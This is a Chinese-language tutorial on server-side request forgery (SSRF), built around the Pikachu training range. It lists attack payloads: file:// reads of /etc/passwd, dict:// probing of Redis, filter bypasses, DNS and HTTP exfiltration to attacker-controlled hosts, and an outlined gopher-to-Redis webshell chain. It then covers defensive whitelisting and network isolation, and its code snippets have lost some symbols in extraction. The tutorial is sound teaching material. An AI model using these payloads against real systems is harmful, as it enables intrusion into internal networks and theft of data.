资讯动态

SSRF攻击原理与防御:从Pikachu靶场实战到企业级安全防护

发布时间:2026/8/7 14:46:36 来源:尧图企业网站定制
1. 项目概述从靶场到实战理解SSRF攻击的本质如果你正在学习网络安全尤其是Web安全方向那么“Pikachu靶场”这个名字你一定不陌生。它就像我们学编程时的“Hello World”是无数安全爱好者入门实战的第一站。今天我们要深入拆解的就是Pikachu靶场中一个经典且危害极大的漏洞类型——SSRF攻击。SSRF全称Server-Side Request Forgery中文叫服务端请求伪造。这个名字听起来有点拗口但它的原理其实很“直白”攻击者能够“欺骗”或“操纵”一个存在漏洞的服务器让它代替攻击者去发起一个网络请求。你可以把它想象成一种“借刀杀人”的攻击手法攻击者自己躲在暗处让受害服务器这把“刀”去攻击内网的其他系统、读取本地文件甚至作为跳板发起更复杂的攻击。为什么SSRF如此重要在当前的网络架构下很多核心业务系统、数据库、管理后台都部署在内网从外网无法直接访问这构成了所谓的安全边界。但SSRF漏洞恰恰能打破这个边界。一个看似无害的、允许用户提交URL的功能比如头像设置、文章抓取、在线翻译如果存在SSRF漏洞就可能成为攻击者刺向内网的“特洛伊木马”。通过Pikachu靶场我们可以在一个绝对安全的环境里亲手复现这种攻击理解漏洞的成因、利用手法以及最关键的——防御思路。无论你是刚入门的安全新手还是想巩固Web安全知识体系的从业者这次对SSRF的深度探索都将让你收获颇丰。2. SSRF攻击核心原理与漏洞场景深度解析2.1 SSRF到底是如何发生的要理解SSRF我们必须先跳出前端的视角深入到服务器端代码的逻辑里。想象一个典型的Web应用场景一个“在线URL预览”功能。用户输入一个图片网址比如https://example.com/image.jpg服务器端代码可能是PHP、Java、Python等会获取到这个URL然后使用后端网络库如cURL、file_get_contents、HttpClient等去请求这个地址获取图片内容最后可能进行缩放、缓存再展示给用户。漏洞就隐藏在服务器处理这个用户输入URL的过程中。如果开发人员没有对用户传入的URL进行严格的校验和过滤攻击者就可以输入一个“非预期”的URL。这个URL可能指向服务器本机127.0.0.1或localhost尝试访问服务器上仅本地可访问的服务如数据库管理界面127.0.0.1:3306、Redis服务127.0.0.1:6379、Memcached等。内网其他机器利用内网IP地址段如192.168.x.x 10.x.x.x 172.16.x.x-172.31.x.x探测和攻击内网中其他存在漏洞的应用。特殊协议或路径利用file://协议读取服务器本地文件如file:///etc/passwd或利用dict://、gopher://等协议与服务器上其他支持这些协议的服务进行交互可能泄露信息或执行命令。问题的核心在于服务器发起的这个请求会带着服务器自身的网络权限和身份。如果服务器在内网中拥有较高权限或者内网安全策略是基于“信任内网”的那么攻击者通过SSRF就能以服务器的身份“为所欲为”。2.2 Pikachu靶场中的SSRF漏洞场景模拟Pikachu靶场精心设计了多个场景来模拟SSRF漏洞帮助我们理解不同代码缺陷导致的利用方式差异。通常它会包含以下至少两种常见类型类型一无任何过滤的“裸奔”型SSRF这是最理想对攻击者而言也是最危险的场景。后端代码可能简单如下以PHP为例$url $_GET[url]; // 直接获取用户输入的URL $content file_get_contents($url); // 直接用于发起请求 echo $content;在这种情况下攻击者拥有最大的自由度。他可以尝试http://127.0.0.1:80探测Web服务。http://127.0.0.1:3306尝试与MySQL交互虽然MySQL协议非HTTP但连接尝试可能暴露端口开放状态。file:///etc/passwd直接读取系统文件。http://192.168.1.1/尝试访问内网路由器管理界面。类型二存在部分过滤但可被绕过的SSRF这是更现实的情况。开发人员意识到了风险但防御措施不完善。例如代码可能检查URL是否以http://或https://开头$url $_GET[url]; if (strpos($url, http://) ! 0 strpos($url, https://) ! 0) { die(URL must start with http:// or https://); } $content file_get_contents($url);这种过滤很容易被绕过。攻击者可以输入http://127.0.0.1evil.com 这里127.0.0.1是用户名后面的evil.com才是真正的主机。但一些旧的或配置不当的库在解析时可能会错误地将整个字符串当作主机名去解析或者因为符号的处理差异导致访问本地。http://localhost.evil.com 攻击者将域名localhost.evil.com的A记录指向127.0.0.1从而绕过对“localhost”字符串的过滤。利用URL编码将127.0.0.1编码为%31%32%37%2e%30%2e%30%2e%31点号也可编码为%2e或者将点号换成Unicode形式如果过滤逻辑没有进行规范化解码就可能被绕过。使用短地址或重定向提供一个指向http://127.0.0.1的短链接服务URL服务器在请求短链接后会跟随重定向到内网地址。注意在实际的Pikachu靶场练习中你需要仔细观察前端的输入框提示、响应返回的数据格式是直接回显、显示为图片还是仅返回成功/失败这决定了你的攻击载荷Payload该如何构造。例如如果功能是获取图片并显示那么你尝试读取/etc/passwd文本文件可能不会成功显示但你可以尝试读取/proc/self/cmdlineLinux系统进程信息或利用其他协议。2.3 从靶场到真实世界的漏洞联想Pikachu靶场是一个理想化的模型真实世界的SSRF漏洞往往隐藏在更复杂的功能背后社交网站的“分享预览”当你粘贴一个链接网站会自动抓取标题和缩略图。PDF/文档在线转换服务服务需要访问用户提供的URL来获取源文件。邮件/消息系统中的链接安全检测部分系统会主动访问链接以判断其安全性。从远程URL导入数据或头像的功能。Webhook配置用户配置一个URL让系统在事件发生时向该URL发送POST请求。这些功能点都是SSRF漏洞的“高发区”。理解靶场中的原理就是为了能在审计真实代码或进行渗透测试时迅速识别出这些潜在的“风险点”。3. Pikachu靶场SSRF关卡实战演练与技巧3.1 环境准备与初步信息收集在开始攻击之前充分的准备和信息收集是成功的关键。假设你已经成功在本地搭建好了Pikachu靶场通常是一个Docker容器或PHP集成环境。确定目标URL首先访问Pikachu靶场的SSRF漏洞模块。它的路径可能类似于http://your-pikachu-ip/pikachu/vul/ssrf/ssrf_*.php。打开页面后不要急着输入先观察。分析前端界面页面上可能有一个输入框标签是“请输入图片地址”或“请输入URL”旁边有一个“提交”或“预览”按钮。查看网页源代码看看是否有前端JavaScript验证。通常靶场为了教学会关闭或简化前端验证。理解后端逻辑这是最重要的步骤。你需要推测后端在做什么。提交一个合法的、完全可控的外网图片URL比如https://via.placeholder.com/150一个生成占位图片的公共服务。观察结果情况A页面直接显示了这张图片。这说明服务器获取了图片内容并输出到了img src标签或者直接以二进制流返回。那么你可以尝试让服务器返回非图片内容看看是否也会被直接输出回显型SSRF这非常有利于信息探测。情况B页面显示“预览成功”或只显示一个固定图片不显示你提交的图片内容。这可能意味着服务器只是去“访问”了一下这个URL根据访问成功与否返回结果或者将图片保存到了后端前端展示的是保存后的路径。这种“盲SSRF”难度更大需要利用时间延迟、DNS记录或外带OOB技术来探测。3.2 基础探测针对本机服务的攻击确认了是一个回显型SSRF后我们可以开始基础探测。目标是探测服务器本机127.0.0.1开放了哪些端口和服务。技巧使用Burp Suite的Intruder模块进行端口爆破手动尝试每个端口效率太低。我们可以利用Burp Suite。在浏览器中提交一个合法请求用Burp Suite抓包。将抓到的数据包发送到Intruder模块。在url参数值如urlhttp://example.com处将主机名和端口部分设置为攻击位置。例如设置urlhttp://127.0.0.1:§80§。载荷Payload设置选择“Numbers”类型生成一个从1到10000的数字序列作为端口号。为了提速可以先用常见端口如21, 22, 23, 25, 53, 80, 110, 139, 143, 443, 445, 3306, 3389, 6379, 8080进行第一轮探测。开始攻击观察响应。通过响应长度、状态码和内容来区分。响应长度显著不同一个关闭的端口或非HTTP服务端口请求通常会失败连接拒绝或超时响应长度很短或为0。而一个开放的HTTP/HTTPS服务会返回具体的HTML或其他数据响应长度较大。状态码可能会返回200、302、401、403等HTTP状态码。响应内容可能直接包含服务标识如“Apache Tomcat”、“nginx”、“MySQL”等banner信息。实操心得在Pikachu靶场环境中你可能会发现127.0.0.1:80返回了Pikachu靶场自己的首页127.0.0.1:3306可能连接超时因为MySQL协议非HTTP但响应时间与一个完全不存在的端口如9999有差异。重点留意22SSH、6379Redis、27017MongoDB等常见中间件端口。3.3 进阶利用协议处理与文件读取如果基础HTTP探测成功接下来可以尝试更危险的利用方式。利用file://协议读取本地文件这是SSRF的一个经典利用点可以直接读取服务器上的敏感文件。Payload:file:///etc/passwd如果系统是Windows可以尝试file:///C:/Windows/System32/drivers/etc/hosts或file:///C:/Windows/win.ini注意事项能否成功取决于后端使用的网络库/函数是否支持file://协议。PHP的file_get_contents()和cURL默认配置通常是支持的。路径分隔符Linux/Unix系统是正斜杠/Windows是反斜杠\但在URL中file://协议后通常使用正斜杠Windows路径如file:///C:/Windows/win.ini。可能会遇到文件权限问题但像/etc/passwd这类全局可读文件通常可以读取。利用dict://协议探测端口和服务信息dict://协议用于访问DICT字典服务器但它有一个特性可以尝试与任意端口的TCP服务建立连接并发送一条指令。这可以用来快速探测端口是否开放甚至与某些文本协议服务如Redis、Memcached进行简单交互。Payload:dict://127.0.0.1:6379/info如果6379端口运行着Redis且未设置密码可能会返回Redis服务器信息。原理dict://协议会向指定主机和端口发起一个TCP连接并将URL路径如/info作为命令发送过去然后读取响应。这比HTTP探测更“底层”不要求目标端口是HTTP服务。利用gopher://协议进行高级攻击gopher是一个古老的协议但它功能强大可以构造任意格式的TCP数据包。在SSRF中它常被用作“万能武器”特别是攻击内网的Redis、MySQL、FastCGI等服务。攻击Redis未授权访问如果内网存在一台未设置密码的Redis服务器默认端口6379可以通过SSRF配合gopher协议向Redis发送命令从而实现写入Webshell、写入SSH公钥、主从复制RCE等操作。Payload构造复杂需要将Redis命令转换为gopher协议支持的格式通常是将Redis的原始命令按协议格式进行URL编码。由于构造过程繁琐通常使用现成的工具生成Payload。重要提示在Pikachu靶场中出于复杂度和安全性考虑可能不会完整模拟出可通过gopher攻击Redis的场景。但理解这一利用链至关重要。其基本流程是发现SSRF - 探测内网Redis端口开放 - 确认Redis未授权访问 - 构造gopherPayload实现RCE。这是SSRF危害能达到“远程代码执行”级别的典型路径。3.4 盲SSRF的探测与外带技术当你面对一个“盲SSRF”时服务器不会直接返回目标请求的内容。这时我们需要借助一些技术来“感知”请求是否成功发出以及探测目标信息。1. 时间延迟Time-based Blind原理让服务器去访问一个我们控制的、响应很慢的URL或者访问一个不存在的IP导致连接超时。通过比较服务器响应我们请求的时间长短来判断目标端口是否开放。操作提交http://192.168.1.10:80假设这是内网IP。如果80端口开放服务器可能会快速收到一个HTTP响应或连接拒绝整体响应时间较短。如果访问一个未使用的IP段如http://192.168.99.99:80服务器会因TCP超时而等待较长时间导致我们收到的最终响应时间变长。工具辅助使用Burp Suite的Intruder攻击时可以添加一列“Response received”时间通过排序来识别哪些请求耗时明显更长端口开放或服务存在哪些请求快速失败端口关闭。2. DNS外带DNS Exfiltration这是探测盲SSRF和获取信息的神器。原理是让存在漏洞的服务器去解析一个我们拥有日志查询权限的域名。步骤申请一个域名如evil.com并配置其NS记录指向你控制的DNS服务器例如使用ceye.io、dnslog.cn这类提供免费DNS日志查询的平台。构造一个特殊的子域名作为Payload例如http://192-168-1-10.evil.com。当服务器尝试访问这个URL时会先对192-168-1-10.evil.com进行DNS解析。你可以在DNS日志平台上看到解析记录如果看到了192-168-1-10.evil.com就证明服务器确实发起了对192.168.1.10的DNS解析请求从而确认了SSRF漏洞的存在并且可以探测内网主机名你可以将IP放在子域名中带出。进阶甚至可以尝试http://encoded-data.evil.com将你想探测的信息如文件内容片段编码后放在子域名里通过DNS查询带出来。3. HTTP外带HTTP Exfiltration与DNS外带类似但通过HTTP请求将数据带出。让服务器访问一个你控制的Web服务器并在URL路径或参数中携带信息。Payload:http://your-server.com/ssrf?ip192.168.1.10port80在你的服务器日志中你会看到来自漏洞服务器的访问记录其中包含了ip和port参数从而证实了SSRF以及对内网该IP:PORT的访问尝试。4. 防御策略与代码审计视角攻击是为了更好的防御。通过Pikachu靶场的实战我们必须总结出如何在自己的代码中避免SSRF漏洞。4.1 黑名单 vs 白名单策略选择黑名单过滤不推荐试图过滤掉“危险”的IP和域名如127.0.0.1、localhost、192.168.*、10.*.*.*、172.16.*.*等。这种方法极易被绕过IP地址的多种表示形式2130706433127.0.0.1的十进制、0x7f000001十六进制、0177.0.0.1八进制、127.1、127.0.1等。利用DNS重绑定、短网址、跳转服务。利用非HTTP协议如file://、dict://、gopher://。白名单过滤强烈推荐只允许访问预设的、明确安全的域名或IP地址。这是最有效的防御手段。实现方式维护一个允许列表Allow List包含业务真正需要访问的第三方服务域名如cdn.example.comapi.weixin.qq.com。用户提交的URL先提取其主机名hostname检查是否在允许列表中并且必须解析后的IP地址也在允许的IP范围内防止DNS重绑定攻击。代码示例Python思路import urllib.parse from socket import gethostbyname ALLOWED_DOMAINS [cdn.yourcompany.com, trusted-service.com] ALLOWED_IPS [203.0.113.10, 198.51.100.20] # 对应上述域名的IP def safe_fetch_url(user_input_url): parsed urllib.parse.urlparse(user_input_url) hostname parsed.hostname # 1. 检查协议只允许HTTP/HTTPS if parsed.scheme not in (http, https): raise ValueError(Only HTTP and HTTPS protocols are allowed) # 2. 解析主机名获取IP try: ip gethostbyname(hostname) except: raise ValueError(Could not resolve hostname) # 3. 检查IP是否在私有网段额外保险 if ip.startswith(127.) or ip.startswith(10.) or ip.startswith(192.168.) or (ip.startswith(172.) and 16 int(ip.split(.)[1]) 31): raise ValueError(Access to internal network is not allowed) # 4. 核心白名单校验域名和IP双重校验 if hostname not in ALLOWED_DOMAINS or ip not in ALLOWED_IPS: raise ValueError(URL not in allowed list) # 5. 进行实际的网络请求... # 建议使用具有超时和重试限制的库如requests4.2 网络层与架构层面的加固统一出口与网络隔离业务服务器可能处理用户输入URL的Web应用层应该部署在一个独立的分区DMZ与核心内网业务数据库、缓存、管理后台进行严格的网络隔离。即使Web服务器被攻陷攻击者也无法通过它直接访问核心资产。使用中间代理服务对于必须从用户输入获取远程资源的功能可以引入一个受严格控制的“代理服务”或“资源获取服务”。这个服务运行在独立的、网络权限最小化的容器或服务器上。Web应用将用户URL传递给这个代理服务由代理服务进行白名单校验、获取内容、安全检查如病毒扫描、内容类型校验再将安全的内容返回给Web应用。这样将风险隔离在了一个更小的组件内。禁用不必要的URL协议在应用程序或底层网络库中禁用除http://和https://之外的所有URL协议处理器如file://、gopher://、dict://、ftp://。例如在PHP中可以在php.ini里设置allow_url_fopen Off来禁用file_get_contents对远程文件和特定协议的支持但会影响正常功能需权衡。更推荐在代码层面进行协议白名单校验。设置请求超时和重试限制防止攻击者利用SSRF进行DoS攻击让服务器不断请求一个慢速资源或端口扫描通过超时差异探测。避免将用户输入直接传递给底层网络函数这是最根本的。任何将用户可控数据用于网络请求、文件操作、系统命令的地方都必须经过严格的校验和净化。4.3 代码审计中的危险函数与模式在进行代码审计时以下模式是SSRF漏洞的“高危信号”PHP:file_get_contents($url),fsockopen(),curl_exec()(如果CURLOPT_URL来自用户输入且未过滤)。Java:URLConnection().openConnection(),HttpClient.execute()(参数来自用户输入)new URL(userInput).openStream()。Python:urllib.request.urlopen(user_input),requests.get(user_input)。Node.js:require(http).get(userInput) 或使用request、axios等库时URL参数来自未经验证的用户输入。看到这些函数就要立刻检查其参数是否用户可控以及前面是否有有效的白名单校验或过滤机制。切记正则表达式黑名单过滤几乎总是可以被绕过。5. 常见问题排查与实战避坑指南在Pikachu靶场练习或真实环境测试中你可能会遇到各种问题。这里记录一些常见的坑和解决思路。5.1 靶场环境问题问题提交Payload后页面无变化或报错“URL无效”。排查检查Payload格式确保URL格式正确特别是使用了file://协议时是三个斜杠file:///。检查靶场后端逻辑Pikachu不同版本的SSRF关卡可能有不同的后端代码。有的关卡可能只接受返回图片的URL通过检查Content-Type。尝试提交一个合法的图片外链确认功能正常。查看服务器错误日志如果你自己搭建的靶场查看PHP错误日志如/var/log/apache2/error.log或php_error.log里面可能有file_get_contents()失败的具体原因如“No such file or directory”或“Protocol not supported”。协议支持确认你使用的PHP环境是否编译了对应协议支持。file://通常是默认支持的。问题探测内网端口时所有请求都很快返回无法区分。排查防火墙/网络配置确保你的靶场虚拟机或容器网络配置正确能够访问其定义的“内网”。有时Docker的网桥模式或虚拟机的Host-Only网络需要正确设置。靶场设计有些教学靶场为了简化可能没有模拟复杂的内网环境本机除了Web端口外没有其他服务。你可以尝试在靶场服务器上启动一个简单的Python HTTP服务在另一个端口python3 -m http.server 8888然后再从SSRF漏洞去访问127.0.0.1:8888进行测试。使用时间差即使端口关闭不同系统/网络库的报错速度也可能有差异。可以尝试用Burp Suite的Intruder设置较长的线程间隔如500ms更仔细地观察“Response received”时间细微差别可能依然存在。5.2 利用技巧与进阶思考绕过技巧失效怎么办如果你遇到的过滤看起来比较严格比如不仅检查了127.0.0.1还检查了localhost、0.0.0.0甚至检查了URL编码可以尝试以下思路利用IPv6地址[::1]或[0:0:0:0:0:0:0:1]代表IPv6的回环地址。利用DNS重绑定这是绕过IP黑名单的终极技巧之一。你需要控制一个域名将其A记录TTL设置为非常短如0先指向一个合法的外网IP如1.2.3.4让服务器第一次DNS解析通过校验。然后迅速将A记录修改为127.0.0.1。由于服务器或中间件如本地DNS缓存、编程语言DNS缓存可能会缓存DNS结果成功率取决于缓存策略。一些在线平台提供DNS重绑定测试服务。利用URL解析差异不同语言、不同库的URL解析器可能存在差异。例如http://foo127.0.0.1:80evil.com/http://127.0.0.1:80\\evil.com等。这需要你对目标后端技术栈的URL解析逻辑有深入了解。从SSRF到RCE的路径如何打通SSRF本身可能只是信息泄露或内网探测但其最高价值在于作为跳板实现远程代码执行。一个经典的链是SSRF - 攻击内网Redis未授权访问 - 写入Webshell。通过SSRF探测到内网192.168.1.100:6379开放且是Redis。确认Redis未设置密码通过尝试发送PING命令看是否返回PONG。构造gopher协议Payload向Redis发送命令将一段PHP代码写入网站根目录下的一个文件如shell.php。通过Web访问这个shell.php获得服务器权限。这个过程在Pikachu靶场中可能不会完整呈现但它是真实渗透测试中需要掌握的高级利用链。理解它你就能真正评估一个SSRF漏洞的潜在危害等级。个人体会SSRF漏洞的挖掘和利用三分靠技术七分靠耐心和思维发散。它考验的是你对网络协议、应用架构、编程语言特性的综合理解。在测试时不要只盯着“URL输入框”任何用户可控的、最终会被系统用于发起网络请求的参数都值得怀疑比如XML解析中的外部实体XXE漏洞本质上也是一种SSRF、某些API的callback参数、甚至邮件头中的Message-ID等。保持这种“攻击面”思维才能发现更深层次的安全问题。最后防御SSRF没有银弹白名单是基石网络隔离是护城河两者结合才能构建起有效的防线。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价